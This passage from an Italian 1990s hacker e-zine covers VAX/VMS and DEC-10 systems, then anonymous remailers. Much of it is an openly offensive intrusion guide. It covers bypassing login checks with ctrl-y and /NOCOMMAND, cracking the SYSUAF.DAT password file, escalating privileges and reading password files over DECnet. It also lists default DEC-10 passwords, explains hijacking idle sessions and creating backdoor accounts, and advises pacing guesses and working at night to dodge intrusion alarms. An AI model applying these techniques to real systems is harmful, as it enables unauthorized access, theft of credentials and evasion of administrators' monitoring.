esempio: SHOW USERS DAV (SHOW qualcosa qualcuno).
-CLUSTER: Mostra i cluster del VAX se ci sono
-DEFAULT: Percorso della directory.
-DEVICES: Mostra i device del sistema.
-INTRUSION: Dice se ci sono degli account che sono stati hackerati.
-MEMORY: Memoria.
-NETWORK: Mostra il network e dove il VAX e' connesso.
-PROCESS: Mostra lo stato di un processo in corso.
-PROTECTION: Mostra le protezioni di un file.
-QUOTA: Mostra lo spazio sul disco permesso per il tuo account.
-SYSTEM: Varie informazioni sul sistema.
-DAY: Giorno e data.
-TIME: Ora.
-USERS: Mostra gli user online sul sistema.

Piccola spiegazione del comando SET:

SET FILE/PROTECTION: settare i permessi nei file o nelle directory.
La stringa da utilizzare e': SET FILE/PROTECTION=OWNER[RWED] nomefile.estensione (RWED: permessi dei file, spiegato oltre).
Al posto di OWNER (possessore) si possono mettere le seguenti opzioni:
-WORLD: per tutti gli users connessi al sistema;
-GROUP: per tutti gli users nello stesso gruppo del possessore;
-SYSTEM: per tutti quelli che hanno privilegi di SysOp.
SET TERMINAL:
Il comando da utilizzare e': SET TERMINAL/opzioni.
Le opzioni sono le seguenti:
WIDTH=80: 80 colonne di ampiezza;
ADVANCE_VIDEO: seleziona 124 x 24 linee;
NOADVANCE_VIDEo: deseleziona 124 x 24 linee;
ANSI_CRT: seleziona la sequenza di uscita ANSI;
NOANSI_CRT: deseleziona la ANSI_CRT;
AUTOBAUD: permette al computer di selezionare la velocita' piu' alta possibile per il collegamento;
NOAUTOBAUD: deseleziona la voce sopra;
BROADCAST: permette il ricevimento di SEND, MAIL e PHONE;
NOBROADCAST: previene dalla ricezione di SEND, MAIL e PHONE;
DEVICE_TYPE=VT220: setta il terminale come VT220;
ECHO: abilita l'echo dalle linee di comando del DCL;
NOECHO: disabilita la funzione ECHO;
FULLDUP: abilita il full duplex;
NOFULLDUP: disabilita il full duplex;
HANGUP: esegue il log off se non c'e' portata;
Vi sono altri comandi ma non li riporto...se li volete proprio sapere tutti vi consiglio di ricercare con l'altavista la parola VAX o VMS e cercare un po' tra i risultati i vari manuali dei comandi di questo sistema.
SET DEFAULT:
Avete presente il comando cd.. o cd .. (rispettivamente dos e unix)?
Nel VAX/VMS per cambiare le directory o per entrare in esse e' necessario conoscere questo comando.
La sintassi per entrare in una directory e':
SET DEFAULT [.SOTTODIRECTORY] mentre per andare nella directory "superiore" il comando e': SET DEFAULT [-].

SICUREZZA DEL VAX:

Il VAX come ho gia' detto e' il sistema piu' sicuro che ci sia in circolazione e questo per una serie di motivi:
1) Password;
2) Barriere interne;
3) Monitoraggio;

PASSWORD

Ci sono (come in ogni altro sistema) due tipi di accessi, quello

dello user normale e quello del root (o amministratore di sistema).
Per il primo in genere il sistema richiede l'inserimento di un nome
(login) seguito poi da una password.
Per il secondo puo' sia chiedere le stesse cose che ha richiesto ad
uno user sia richiedere l'inserimento di una seconda password
dopo aver inserito la prima...diciamo una successiva barriera di
sicurezza.
Raramente un amministratore di sistema mette due password per accedere
ad una directory ma tenete bene a mente che LO PUO' fare.

BARRIERE INTERNE

Su alcuni sistemi, dopo esserci inseriti con una giusta combinazione
di user e password, potrebbe apparirci un messaggio nel quale ci si
richiedono successive informazioni e cio' potrebbe farci "saltare" ad
un'applicazione supplementare o addirittura ad un errore di sistema.
Per superare questo tipo di protezione si puo' provare a premere
control-c e/o control-y dopo aver inserito correttamente login e pass.
Questo puo' (e ripeto puo') far saltare al sistema l'esecuzione di
programmi di sicurezza, applicazioni o altri tipi di eseguibili che
indicherebbero al computer che non siamo veramente lo user in questione.
Alle volte, pero', gli amministratori di sistemi settano
il comando SET in modo da non poter usare control-y all'inizio della
fase di login (set nocontrol=y) impedendo cosi' che intrusi penetrino
nel sistema in questo semplice modo.

MONITORAGGIO

L'intera sicurezza del sistema VMS e' basata su un concetto di monitoraggio
di tutto il terminale.
Un amministratore di sistema puo' controllare:
1) Ogni informazione su di uno user, dalle info personali ai comandi che
   lancia sul sistema;
2) Ogni tipo di applicazione e documento presenti sul sistema come, ad
   esempio, mailbox, file o terminali;
3) Tutte le possibili forme di sicurezza sui files come diritti su di essi
   o le liste di accesso a un dato programma;
4) I cosiddetti avvisi di allarme.

Questo tipo di monitoraggio rende capace il system-operator di seguire
passo passo ogni procedura di autenticazione che si verifica all'interno
del sistema.
Il VMS e' molto flessibile come sistema poiche' un root puo' decidere
praticamente tutto sul terminale...potrebbero mettere una password
sopra un dato file oppure metterne una su tutti quelli presenti.
Potrebbero restringere l'accesso a certi tipi di utenti oppure
lasciare libero accesso a tutti.

Tanto per fare una panoramica generale sulle sicurezze del VMS:

1) Il sistema permette di controllare tutti i tipi di accesso nonche' le

password per un dato documento o per una directory nel sistema
permettendo una maggiore sicurezza rispetto agli altri sistemi esistenti;
2) Registra ogni tipo di interazione tra user e macchina per motivi
di sicurezza e di documentazione;
3) Supporta un sistema di encriptazione che permette all'amministratore
del sistema di creare una particolare chiave per poter accedere ad
una certa zona del computer;
4) Come se non bastassero tutte le sicurezze sopra riportate, possono
essere aggiunti allarmi che "scattano" quando si verificano particolari
condizioni preimpostate come ad esempio un login errato o un accesso a
file del sistema nei quali non potevamo sbirciare.

Tutte queste funzioni di sicurezza si controllano attraverso due
meccanismi:
ACL = Access Control List;
UIC = User Identification Codes.
L'ACL usa alcuni indentificatori per controllare gli user:
1) Gli identificatori UIC dipendono dal codice di identificazione di
uno user e sono UNICI per ogni user nel sistema (ogni user ne ha uno);
2) Le identificazioni generali sono definite dal root nei diritti del
sistema per identificare gruppi di user nel sistema;
3) Gli identificatori a definizione di sistema descrivono certi tipi di user
basati sul loro uso del sistema.
Una ACL consiste in una o piu' ACE (Action Control list Entries):
1) Identificatori ACE: Controllano i privilegi di accesso ad un dato o ad
una directory. I privilegi sono READ, WRITE, EXECUTE, DELETE, CONTROL
e NONE (R, W, E, D, C, N);
2) Protezione di default ACE: Definisce la protezione di default per
le sole directory;
3) Allarme di sicurezza ACE: Manda un messaggio di allarme quando si
accede (o si prova ad accedere) a qualcosa in cui non si poteva
entrare. Le allarmi possono essere generate quando lo user "rompe"
uno di questi privilegi di accesso: READ, WRITE, EXECUTE, DELETE o
CONTROL. L'allarme puo' scattare sia se ci riuscite sia se NON ci
riuscite.
UIC ovvero User Identification Code:
Ogni utente sul sistema (come ho gia' detto prima) ha un proprio UIC.
Ogni dato sul sistema ha un UIC associato che gli consente di capire
chi puo' e chi non puo' avere accesso a tale dato ed e' anche il
tipo di identificatore posto sui quattro gruppi principali cioe'
System, Owner, Group, World (sistema, proprietario, gruppo, altri).
In base a questo il sistema concede o no l'accesso a uno user a
qualsiasi cosa presente sul terminale. Praticamente in fase di login
ci viene preso il codice di identificazione personale dal database
dei diritti nel sistema e viene poi copiato in una lista di diritti
dalla quale verra' informato il terminale sui tipi di privilegi che
possediamo ogni volta che si cerchera' di accedere ad un certo dato.

Di seguito riporto i principali privilegi di un VAX:
ACNT: Puo' sopprimere i messaggi di accounting.
OPER: Fornisce privilegi da operatore.

GROUP: Puo' prendere altri processi nello stesso gruppo.
WORLD: Come GROUP solo valido per la categoria WORLD.
SHMEM: Puo' creare/cancellare dati nella shared memory.
ALTPRI: Puo' settare qualsiasi livello di priorita'.
BYPASS: Evita le procedure di controllo.
SETPRV: Puo' settare qualsiasi bit di privilegi.
SYSLCK: Blocca le risorse del sistema.
SYSPRV: Puo' accedere a dati attraverso la protezione del sistema.
VOLPRO: Puo' passare sopra alla protezione dei volumi sul sistema.
READALL: Puo' leggere qualsiasi cosa come il possessore.
SECURITY: Puo' far eseguire le funzioni di sicurezza.
Per vedere i propri privilegi all'interno del sistema dovete digitare:

$ SET PROCESS /PRIVS

Se nella lista che compare alla fine della descrizione di tutti i
privilegi e' presente anche quello chiamato SETPRV, ci si puo' dare
qualsiasi tipo di privilegio con il comando:

$ SET PROCESS /PRIVS=ALL

Hacking The VAX

Allora innazitutto direi che ci sono due metodi principali per entrare
in un VAX:
1) Attraverso l'hack di un account & similar;
2) Attraverso una rete;

1) Hack di un Account & Similar

Quando vi loggate ad un account e questo vi da' problemi iniziali
potete provare ad inserire al fianco del login anche un comando:

Username: NOME /NOCOMMAND
Password:

Ci sono 4 comandi fondamentali utilizzabili accanto al login e cioe':

1) /NOCOMMAND: Se il login dell'account che abbiamo hackerato non
permette l'ingresso al sistema operativo, possiamo provare ad inserire,
come nell'esempio sopra, l'opzione /NOCOMMAND che, se abilitata,
potrebbe concedere l'ingresso al sistema evitando ulteriori procedure
di identificazione.
Tutto questo viene mandato in fumo se si tratta di un account particolare
chiamato CAPTIVE.
Gli accounts chiamati Captive permettono un uso e un accesso MOLTO
limitati.
In genere "spediscono" la connessione che abbiamo effettuato ad un altro
programma o ad un'altra applicazione che permettono scarse possibilita' di
poter penetrare all'interno del terminale soprattutto se anche il comando
control-y e' disabiltiato.

2) /CLI (Command Line Interpreter): Permette di specificare il DCL
(Digital Command Language) o il MCR (Monitor Control Routine).

3) /DISK: Permette di specificare un disco diverso da quello di default.

4) /TABLES: Specifica il nome di un'altra tabella CLI per poter scavalcare
quella di default specificata nell'UAF (User Authorization File).

Il file passwd sotto un VMS e' situato nella directory
SYS$SYSTEM:SYSUAF.DAT; ricordate pero' che il VAX/VMS come ho gia
detto prima, puo' fare in modo che questo file non possa venir
letto da normali utenti.
Se riuscite a scaricarlo e volete confrontarlo con una lista
gia preparata di password (vedi CrackerJack o Brute per win)
potete usare uno di questi due programmi:
CHECK_PASSWORD
GUESS_PASSWORD
In poche parole dovete riuscire (se non trovate i programmi
che ho scritto sopra) a scrivere un programma che, utilizzando
le funzioni SYS$GETUAF, confronti le parole criptate con i dati
sempre criptati in SYSUAF.DAT

Ritornando al discorso di prima, dopo esserci inseriti con successo
all'interno del sistema in questione, ci sono una serie di utili
comandi per capire bene cio' che ci circonda:
SHOW USER, SHOW PROCESS/PRIVS, SHOW AUDIT e SHOW INTRUSION.

SHOW USER

Se, all'interno del sistema, incontriamo un altro user dobbiamo prendere
nota del suo nome e questo per la semplicissima ragione che avere gia'
il nome di un utente faciliterebbe il compito di dover ricercare la sua
password per poter penetrare nel sistema attraverso il suo account.

SHOW PROCESS/PRIVS

Per poterlo usare senza scatenare il finimondo sul terminale in questione
bisogna avere il permesso di usare SHOW AUDIT e SHOW INTRUSION.
Comunque si puo' sempre tentare:
$ SET PROCESS/PRIVS=GROUP
Iniziate con GROUP e se funziona, continuate fino ad arrivare a ALL.
Comunque per lanciare programmi, vedere file o altre interessanti cosucce
NON bisogna avere tutti i privilegi (ALL)... bastano solo quelli giusti.

SHOW AUDIT

Puo' mostrare due schermate:
La prima potrebbe dare come risultato qualcosa tipo:"Security alarms
currently disabled" (Allarmi di sicurezza attualmente disabilitate).
Oppure potrebbe indicare dove si trovano le allarmi:

ACL
BREAKIN: (DIALUP, LOCAL, REMOTE, NETWORK)
FILE ACCESS:
FAILURE: (READ, WRITE, EXECUTE, DELETE, CONTROL)
BYPASS : (READ, WRITE, EXECUTE, DELETE, CONTROL)
LOGIN: (DIALUP)
LOGOUT: (DIALUP)

Sarebbe molto importante vedere questa schermata in modo da non far scattare allarmi cercando un modo per aggirarle senza correre rischi.
Tanto per rinfrescarvi la memoria un SysOp puo' ricevere un allarme quando:
1) Una ACL (Access Control List) "richiede" un allarme; se si vuole accedere ad un file e non si e' sicuri di cosa si ha davanti potete provare a fare un SHOW ACL e vedere cosa salta fuori.
2) Il sistema individua una possibile intrusione. Il computer ha, nella sua configurazione, indicato un numero che, una volta raggiunto fa' scattare l'allarme.
Potrebbe essere dopo tre tentativi falliti di connessione o dopo venti; dipende tutto da come e' stato configurato il sistema.
Quindi il mio consiglio e' quello di tentare una o due password al giorno perche' credo che nessuno setti questo valore al di sotto dei due tentativi e anche perche' cosi' si desterebbero meno sospetti.
3) Si accede ad un file "rompendo" i vari accessi (read, write, ecc.).
4) Si accede ad un file attraverso il privilegio BYPASS.
Molto probabilmente, se si entra in un sistema e si ha il BYPASS si hanno anche tutti (ALL) i privilegi. Non credo che qualche amministratore di sistema concederebbe a chiunque l'uso del BYPASS se non per un errore di impostazioni.

SHOW INSTRUSION

$ SHOW INTRUSION/TYPE=ALL

Intrusion	Type	Count	Expiration	Source
TERMINAL	INTRUDER	9	08:34:24.56	TTA0
NETWORK	SUSPECT	2	09:03:33.39	COINS::NSAUSER1

Il comando impostato sopra mostra le informazioni contenute nel database del sistema.
Dopo TYPE si possono inserire le seguenti parole:
ALL: E' di default e mostra TUTTI i tentativi di hack del terminale.
SUSPECT: Tutte quelle che non sono identificate come INTRUDER.
INTRUDER: Tentativi di penetrazione del sistema nei quali c'erano molte azioni evasive nei confronti del computer stesso.

2) Hackerare attraverso una rete.

Secondo me questo e' sicuramente il metodo piu' "facile" poiche' il VAX ha molte debolezze sui computer collegati via rete.

Una volta che sia e'entrati con successo in un sistema come DECnet, si puo'
accedere tranquillamente a file, directory e dati contenuti nel VAX senza
che neppure quest'ultimo richieda password.
Faro' tre esempi citati dalla Lod:
1) $ TYPE PLOVER::SYS$SYSROOT:<SYSEXE>SYSUAF.LIS;*
2) $ DIR DOCWHO::SYS$SYSROOT:<000000...>
3) $ RUN LEGION::SYS$SYSROOT:<SYSEXE>AUTHORIZEUAF>
La sintassi e':
NOME-COMANDO NOME-NODO::DEVICE:<DIRECTORY>FILE-OPPURE-NOME-PROGRAMMA

Il NOME-NODO deve essere seguito dalle due "colonne" (::).
Nel primo esempio abbiamo scaricato a video il contenuto del file
SYSUAF.LIS che contiene tante tante informazioni importanti.
Nel secondo esempio stavamo dando un'occhiata a quali erano TUTTI
i file presenti in TUTTE le directory del sistema.
Nel terzo esempio, stavano lanciando AUTHORIZE e cosi' facendo possiamo
per esempio avere la lista degli user sul sistema oppure crearci un
account...tanto per citarne solo due.
Qui, per concludere questo (forse troppo) lungo articolo riporto
le estensioni dei file che si trovano su un VAX/VMS:

ADA File compilati con Ada;
BAS File compilati con il BASIC;
B32 File compilati con il BLISS-32;
C File compilati con il C;
COB File compilati con il COBAL;
FOR File compilati con il FORTRAN;
MAR File compilati con il MACRO;
PAS File compilati con il PASCAL;
PLI File compilati con il PL/I;

CLD File di descrizione dei comandi DCL;
COM DCL batch o file di procedure di comando;
DAT Data file;
DIS File di distribuzione (come quelli della mail);
DIR Directory;
EDT File di comando per l'editor EDT;
EXE Eseguibili;
HLP File di aiuto;
JOU "Giornale" di aiuto dell'editor EDT quando si verifica un problema;
LIS System Listing File (ovvero come per il comando TYPE);
LOG Batch Job Output File;
MAI File di posta;
MEM DSR output file;
OBJ File creati da un compilatore prima di LINKarli;
RNO File di sorgente per DSR;
SIXEL File per la grafica SIXEL;
SYS File di sistema;
TJL "Giornale" creato quando accade qualcosa di insolito;
TMP File temporanei;

TPU   File di comando dell'editor;
TXT   File di testo e file di uscita del programma MAIL;
UAF   User Authorization File (file di autorizzazione di un utente)
I piu' importanti sul sistema direi...
Il VAX e' un gran bel sistema ma, come ogni altro sistema, ha le sue debolezze e, in questo caso, risiedono nel network.
Quindi perche' fondersi il cervello per entrare in un VAX senza lasciare traccia quando possiamo farlo benissimo da un nodo di una rete e senza troppi problemi?

1) DEC-10 (by InfectedMachine)

Vedro', su questo terzo numero di SystemDown, di spiegarvi il funzionamento del DEC-10.
Per chi non lo sapesse il DEC-10 e' stato creato dalla Digital Equipment Corporation (tanto per spiegare il significato della parola DEC) e usa un sistema operativo chiamato TOPS-10 (o TOPS10).
Per riconoscere un DEC-10 basta vedere se il prompt dei comandi e' costituito da un "."
Subito dopo esserci connessi a questo sistema ci arrivera' un messaggio (direi quasi un classico di ogni sistema) tipo:
data - ora - tty
sistema - tipo di sistema
e l'immancabile frase:
LOGIN:
Il formato dei login e' un po' particolare perche' dipende da un parametro chiamato PPN, ovvero Project/Program Number; come in altri sistemi piu' basso e' questo numero piu' si hanno privilegi.
Il formato nel quale e' scritto e':
.Log 12,34 cioe' .Log [X,X]
Poi arrivera' la terribile scritta "Password:"
Questa puo' essere lunga da 1 a 8 caratteri di qualsiasi tipo come in ogni altro sistema.
Se non avete mai maneggiato in vita vostra un DEC-10 e siete curiosi di sapere quali comandi esso abbia al suo interno vi consiglio di provare un .Help per sapere qualcosina in piu'.
Puo' accadere, richiedendo gli help che il computer vi rimandi a leggere il manuale operativo del DEC-10 per maggiori dettagli quindi non sempre gli aiuti sono utili.
Per avere una lista dei comandi da eseguire (come ad esempio il login) provate ad inserire questo comando:
.Help *
Mentre con ".Help Phone" si puo' presentare l'occasione di fare un po' di conoscenza con i vari numeri di operatori o persone simili nell'amministrazione di sistema.
I due numeri piu' importanti sono quelli del DEC-10 operator e del DEC-10 staff; teneteli a mente perche' non si sa mai...
Parlando invece di cose serie si puo' dire che il comando piu' importante di un DEC-10 e' "Systat" che da una lista di PPN, tempo trascorso, programmi in uso, ecc.
Un abbreviazione del comando Systat e' SY.
Piccolo esempio del comando Systat (preso da una rivista):

Status of Brown University 603A at 11:52:33 on 29-Jan-96

Uptime 187:12:22, 80%Null time = 80%idle + 0%Lost

7 Jobs in use out of 128. 19 logged in 4 detached out of 89 (LOGMAX)

Job   Who   What   Run Time

1	[OPR]	OPSER	3:22
2	[OPR]	DIALOG	1:29
3	[OPR]	BATCON	4:01
4	[OPR]	SYSINF	51:13 01
5	24,2	SYSTAT	4:52
6	2332,21	DIRECT	2:22
7	32,22	SYSTAT	8:19

Il Job non serve quasi a nulla poiche' indica solo la posizione all'interno
del sistema per eventuali chat o messaggi ad un dato utente.
[OPR] significa OPERATOR mentre i numeri tipo 24,2 sono i PPN regolari di
normali utenti (praticamente il loro login).
La colonna chiamata "what" indica invece che programma stanno eseguendo
oppure cosa stanno facendo nel sistema.
Run Time, infine, ti dice da quanto tempo sono connessi i vari utenti.
Ora, dopo aver rimediato un PPN, bisogna tentare con la password.
Prima di tutto inserite il PPN che abbiamo visto in questo modo poi tentate
con le password di default o con quelle piu' comunemente usate.

Lista di password maggiormente usate:

Account
Acsnet
Computer
Connect
Dcl
Dec
Decnet
Default
Games
Help
Link
List
Modem
Operator
Password
Ppn
Secret
Sex
System
Terminal
Test

Provate anche questa serie di PPN e queste password:

Login: Password:

1,2: SYSLIB, OPERATOR oppure MANAGER
2,7: MAINTAIN
5,30: GAMES

Dopo aver tentato queste provare anche quelle piu' comuni degli altri sistemi.
Solitamente si hanno due tentativi per inserire PPN e Password corretti (ma questo puo' anche non essere vero poiche' diversi DEC-10 permettono un numero illimitato di tentativi e poche volte comunicano i tentativi falliti di connessione).
Dopo che siamo riusciti ad entrare all'interno di questo sistema ci apparira' un messaggio di "introduzione" al sistema che ci avvertira' di alcune cose tra le quali il nostro Job (cioe' la posizione all'interno del DEC).
E, di seguito, puo' apparire qualcosa del genere:

Other jobs detached with the same PPN:

Job 34 running SYSTAT in ^C state

Do you want to ATTACH to this job? yes

Quello che stiamo facendo e' allegarci ad un idle PPN. Quando un altro utente e' sul sistema da circa 10 minuti prima di noi puo' mandare un comando che gli permette di effettuare un logoff e di riagganciarsi allo stesso posto quando si riconnette al sistema. A questo punto dopo aver usato "systat" per vedere l'effettivo allontanamento dal sistema possiamo usare "detach" per fare in modo di "attaccarci" al suo PPN.
Oppure:
Se un utente non inserisce comandi per diverso tempo puo' essere allontanato automaticamente dal sistema e quindi darci la possibilita' di attaccarci comunque al suo PPN.
Ora che siamo dentro diamo un'altra occhiata a "systat" per vedere se qualcosa e' cambiato e per verificare la nostra presenza all'interno del sistema.
Se volessimo cambiare la nostra password, il comando da usare e':
/Password

Comandi utili:

Per guardare all'interno di directory si utilizza, o il comando Dir [*,*] per guardare in tutte le directory che gli utenti hanno reso pubbliche agli altri oppure con Dir [12,11] si guarda in una particolare.
Ci sono in sostanza 5 tipi di file da tenere in cosiderazione:
exe
txt
dat
bas
cmd
I file chiamati exe sono gli eseguibili e possono essere lanciati senza

problemi dal prompt dei comandi.
I txt sono file di testo che si possono "sfogliare" con il comando Type
nomefile.txt
NON fate type con gli exe!
Dat sono i dati che gli utenti hanno salvato mentre bas sono i file scritti
in basic.
Gli ultimi file, cmd, sono file di comando. Se ne incontriamo uno proviamo
questo comando: Take nomefile.cmd.
Un altro modo per leggere file e' usare il comando File:[*,*]
Per creare una propria directory possiamo utilizzare il comando "Credir";
a questo punto bisogna specificare che esistono due livelli per una directory:
il primo e' "Class" il secondo "Tvedit".
Se ci vogliamo creare una directory personale e un ottimo account privato
possiamo digitare:
Create Directory:[,,class,tvedit]
Il DEC-10 puo' replicare in questo modo:
Created Dska0:[x,x,class]Sfd/protect:775
Created Dska0:[x,x,class,tvedit]sfd/protect:775
x,x e' il PPN che stiamo usando e Dska0 e' il device.
Se vogliamo nominare la nostra directory appena creata possiamo farlo con il
comando "/Name:" e possiamo proteggerla con il comando "/Protect".
Ci sono altri comandi che iniziano per "/" e per vederli vi consiglio di
provare un "/help".

Account privati e privilegiati

Ora, se state provando ad entrare in un DEC-10 credo che lo facciate per uno
di questi tre motivi:
1) Siete il proprietario stesso del DEC-10 e volete testarne la sicurezza;
2) Siete alle prime armi e siete curiosi di provare questo tipo di sistema;
3) Siete tizi con le palle e volete prendere i dati di questo sistema.
Per qualsiasi di questi tre motivi la cosa che volete fare e' darvi la
possibilita' di dominare il sistema, di prenderlo per le corna e farne cio'
che volete...giusto?
Comunque sia volete pieni privilegi.
Su un DEC-10 il PPN della maggior parte degli account con pieni privilegi sul
sistema incomincia per 1 (ad esempio 1,10).
Proviamo nuovamente ad usare il comando "systat" diamo un'occhiata attenta per
trovare qualcuno che sia sotto un account che inizi per 1,x.
Se lo troviamo, proviamo ad effettuare un login con quel PPN e iniziamo a
cercare la password a tentativi (anche se la cosa si rivelerebbe molto
lunga).
Se riusciamo ad infiltrarci con successo possiamo attivare il nostro (o i
nostri) account privati digitando il comando "enable" che ci dara' un prompt
$ oppure #.
A questo punto possiamo crearci un account alternativo dal nulla oppure fare
un make up di uno esistente in questa maniera:
$Build[x,x] o Create[x,x].
Una volta creato l'account editiamo il nostro PPN o modifichiamolo se esisteva
gia e tutto e' finito.
Se comunque riuscite a trovare un account da usare che abbia un PPN di 1,x

non provatelo durante il giorno o le ore lavorative.
Spesso solo gli admin hanno account del genere quindi vi consiglio di provarlo a notte inoltrata per evitare spiacevoli situazioni.
Per continuare il discorso vorrei dire che ci sono tre livelli di sicurezza all'interno di un DEC-10:
Operator
Wheel
Cia
I privilegi chiamati Wheel e Cia (che sta per Confidential Information Access) sono i due livelli piu' importanti e potenti perche' permettono di fare qualsiasi cosa e in ogni posto. Operator sfrutta i normali privilegi che gli sono stati concessi per l'uso di QUEL terminale.
Un manuale utile da leggere sarebbe il "Decsystem Timesharing Guide" ma non credo sia molto facile da rimediare. Questo comunque e' il manuale di utilizzo dei sistemi DEC e ti spiega in dettaglio tutti i comandi da usare e che si possono usare, nuovi programmi, nuove funzioni, ecc, ecc.
Per richiederlo si deve telefonare all'operator al numero indicato sotto gli "Help Phone" (vedi sopra) ma non lo danno a tutti poiche' il sysop richiede la password il login e il motivo dell'utilizzo del manuale.

Mail

Apro una piccola parentesi sull'uso della mail nel DEC-10 che non e' fondamentale ma sapere come funziona non credo guasti.
Per usare la posta elettronica su di un DEC-10 bisogna lanciare il comando "Run Mail" dal prompt. Fatto questo, in risposta dal sistema possiamo ottenere un prompt con la scritta "MailC".
Se vogliamo controllare la nostra casella di posta digitiamo:
MailC:read
Se vogliamo spedire invece un messaggio usiamo il comando Send al posto di Read.
Questo e' quello che potrebbe succedere:

.Run Mail

MailC:Send

to:RaggedRobin

Subject:Solite Storie

Text:

Ciao. Bla Bla Bla Bla Bla Bla Bla Bla Bla

Quando arriviamo alla conclusione del nostro messaggio possiamo concludere con .done o .d su di una linea vuota e questo indica al sistema che abbiamo finito di scrivere.
Il DEC-10 a questo punto rispondera' con: RaggedRobin--Sent.

Informazioni supplementari

Provate ad inserire il comando "info" o "help info" nel prompt dei comandi e
vi vedrete apparire una lista di comandi da usare insieme a questa forma:
Info XXXX

Switch	Funzionamento
.	Fornisce informazioni sul proprio job
[??,??]	" " su un dato PPN
ALL	" " su tutti i PPN
ALL:LOPR	" " sui job di tutti gli operatori locali(1,2)
ALL:OPR	" " sui job di tutti gli operatori (1,2)
ALL:ROPR	" " sui job di tutti gli operatori remoti
ALL:Users	" " su tutti gli utenti del sistema
Batch	" " su tutti i batch job

Ho citato i piu' importanti ma ce ne sono altri quindi, per maggiori
informazioni, effettuate il comando che ho menzionato sopra.
I numeri 1,2 al fianco della voce Operatori Locali e Operatori significa che
i loro account hanno pieni privilegi su quel sistema.

Il comando Watch.

Con questo comando si possono ottenere maggiori informazioni sulle proprie
statistiche:

Run Indica il CPU time

Wait Indica il tempo trascorso dalla partenza nel sistema

Read Numero dei blocchi di dischi che hai letto

Write Numero dei blocchi di dischi che hai scritto

Se tu hai privilegi di sistema prova ad usare questo comando:
Watch[x,x]
Questo ti puo' dare maggiori informazioni su di un utente in particolare.

Altri comandi:

Riporto in seguito alcuni comandi che potreste trovare utili o interessanti.

Who Nome job #TTY

Che potrebbe essere qualcosa del genere:
Who RaggedRobin 4 #7
Ovvero RaggedRobin e' inserito nel sistema nel job 4 e sul TTY 7.
La risposta potrebbe essere il suo PPN e altre informazioni legate al suo stato sul sistema.

Se qualche conoscente e' sul sistema e gli vogliamo lanciare un messaggio, sapendo che e' sul TTY10 possiamo digitare:

Send TTY10 Messaggio

Se invece vogliamo mandare una chat:

Talk TTY10

Se siamo riusciti ad ottenere pieni privilegi andiamo in enable e digitiamo: "Whostr" che puo' darci maggiori informazioni su gli utenti collegati al sistema e sulle directory presenti.

Per concludere vorrei citare le combinazioni di ctrl+lettera e i vari tipi di reti alle quali sono connessi i computer della DEC.

ctrl+h	Backspace
ctrl+c	Interrompe una lunga lista o un programma
ctrl+o	Ferma un lungo output del terminale
ctrl+t	Tempo
ctrl+u	Killa la linea che stai digitando
ctrl+x	Ferma un programma
ctrl+s	Ferma una lista (pausa)
ctrl+q	Resume

DECNET

Questa rete e' supportata da tutti i computer della Digital Corporation. Per accedere a questa rete digitate "Decnet" e tentate di trovare la password. Decnet supporta nodi come VMS, TOPS10 (sistema operativo per DEC-10), TOPS20 e altri. Solitamente l'account del system operator puo' esserti di aiuto se stai cercando la password per accedere a questa rete. Tenta la password dell'account del sysop e vedi se funziona.

ACSNET
Supporta DEC-10 e altri computer. Quando ci si connette si puo' trovare un messaggio del genere:

ACSNET

Fri Mar 13 19:30:23 1996

Port ID: dialup C502 at 28.800 baud

dialup C502 with even parity

O qualcosa di simile.

Dal prompt digitare "?" per una lista dei groupnames. Per entrare nel DEC-10
da questo punto digitate "Acsdec10".
I comandi per Acsnet sono:
Connect
Hangup
Info
Release
Set
Daytime
Disconnect
Help
Resume
WhoamI

Se vogliamo scriverne una E-Mail anonima per rispondere qualcuno o per partecipare ad un NewsGroup senza essere rintracciati,
Esiste un servizio, quello dei "remailer", che serve ad inviare posta
senza mittente e senza alcuna traccia d'IP Address o altro.
Esistono tre categorie di remailer.
i Remailer Cypherpunk i quali spediscono il messaggio al destinatario eliminando preventivamente l'indirizzo contenuto. non è quindi possibile rispondere. il messaggio può ovviamente anche essere crittografato il remailer, lo decrittograferà e lo manderà all'indirizzo del destinatario .
I Remailer Mixmaster i quali permettono di rispondere ai messaggi, per ricevere una risposta è necessario creare blocchi di risposta ovviamente crittografati cioè un insieme d'istruzione per raggiungere l'indirizzo reale è quindi necessario avere un programma per scrivere il messaggio
I Remailer Pseudonimi questi si limitano ad eliminare l'Indirizzo E-Mail del mittente attribuendo uno pseudonimo il destinatario può rispondere tramite quel remailer.
Per una lista completa con tutte le informazioni come: velocità,caratteristiche e affidabilità basta cercare le parole "anonymous remailer" con un qualsiasi motore di ricerca sul Web.
http://www.replay.com/remailer/anon.html
Una volta trovato l'indirizzo E-Mail di un remailer per conoscerne il suo funzionamento basta inviargli una E-Mail scrivendo nel campo Subject(oggetto) : " REMAILER-HELP"
Per quanto riguarda la posta anonima tramite remailer, n'esistono anche sul Web.
Per chi preferisse le Form ai programmi di posta elettronica basterà visitare il sito http://anonymouse-master.org/ dove tra l'altro è presente la possibilità di navigare in anonimato
Alcuni Remailer

Nome	E-Mail
Balls	remailer@huge.cajones.com
Cyber	alias@alias.cyberpass.net
Dustbin	dustman@athensnet.com
Exon	remailer@remailer.nl.com
Extropia	remailer@miron.vip.best.com
Haystack	haystack@holy.cow.net
Hidden	remailer@hidden.net
Jam	remailer@cypherpunks.ca
Lucifer	lucifer@dhp.com
Middle	middleman@jpunix.com
Mix	mixmaster@remail.obscura.com
Nym	config@mym.alias.net
Reno	middleman@cyberpass.net
Replay	remailer@replay.com

I Remailer sono attivi non per arrecare danni, ma per fornire un servizio a quanti vogliono preservare la propria privacy elettronica. Abusandone potreste mettervi nei guai, o causare la chiusura del servizio. Inoltre molti remailer possono negarvi l'accesso al servizio in caso di proteste da parte di terzi.
Alcuni Remail conservano spesso i log di invio, quindi per una anonimato maggiore è possibile concatenare più remail

Per scrivere E-Mail anonime si potrebbe usare anche un programma chiamato Telnet presente già in windows, questo non fa altro che collegarsi ad un server, inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve, quindi, usando Telnet si può impersonare un qualsiasi programma client, parlando al server e leggendo le sue risposte, quindi c'è una buona percentuale d'anonimato.

E mail vera o falsa?

Per poter riconoscere una E-Mail vera da un falsa bisogna studiare il messaggio dobbiamo quindi poter leggerne gli "headers" (intestazioni),
cioè le righe che iniziano con la parola "Received:"
Per visualizzare gli headers:
Netscape Mail, ad esempio, ha la voce "Show Headers" nel menù "Options", mentre con "Internet Explorer" è necessario clickare sul titolo dell'e-Mail da analizzare, quindi premere il tasto destro e scegliere l'ultima voce Proprietà. Eudora ed altri client hanno una funzione simile a quella di Netscape Mail .
